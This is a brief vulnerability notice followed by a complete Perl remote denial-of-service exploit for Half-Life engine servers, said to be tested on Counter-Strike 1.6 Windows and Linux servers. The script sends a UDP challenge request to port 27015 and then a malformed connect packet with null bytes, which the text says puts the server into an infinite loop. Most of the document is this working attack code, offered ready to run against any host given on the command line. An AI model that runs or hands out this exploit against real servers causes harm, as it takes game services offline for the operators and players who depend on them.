There is an ability to enter a Half-Life server in an infinite loop and to
stop processing any requests
exploit:

#!/usr/bin/perl

Half-Life engine remote DoS exploit

bug found by Firestorm

tested against cstrike 1.6 Windows build-in server, cstrike 1.6 linux

dedicated server
use IO::Socket;
die "usage: ./csdos <host>" unless $ARGV[0];
$host=$ARGV[0];

if (fork())
{ econnect($host); }
else
{ econnect($host); };
exit;

sub econnect($)
{
my $host=$_[0];
my $sock = new
IO::Socket::INET(PeerAddr=>$host,PeerPort=>'27015',Proto=>'udp');
die "Could not create socket: $!\n" unless $sock;
$cmd="\xff\xff\xff\xff";
syswrite $sock, $cmd."getchallenge";

    sysread $sock,$b,65535;  print $b,"\n";
    @c=split(/ /,$b);

    $c2=$c[1];

    $q=$cmd."connect 47 $c2

\"\\prot\\4\\unique\\0\\raw\\valve\\cdkey\\f0ef8a36258af1bb64ed866538c9db76\"
\"\\\"\0\0";
print '>',$q,"\n";
syswrite $sock, $q;
sysread $sock,$b,65535; print $b,"\n";
sleep 3;
close $sock;
}

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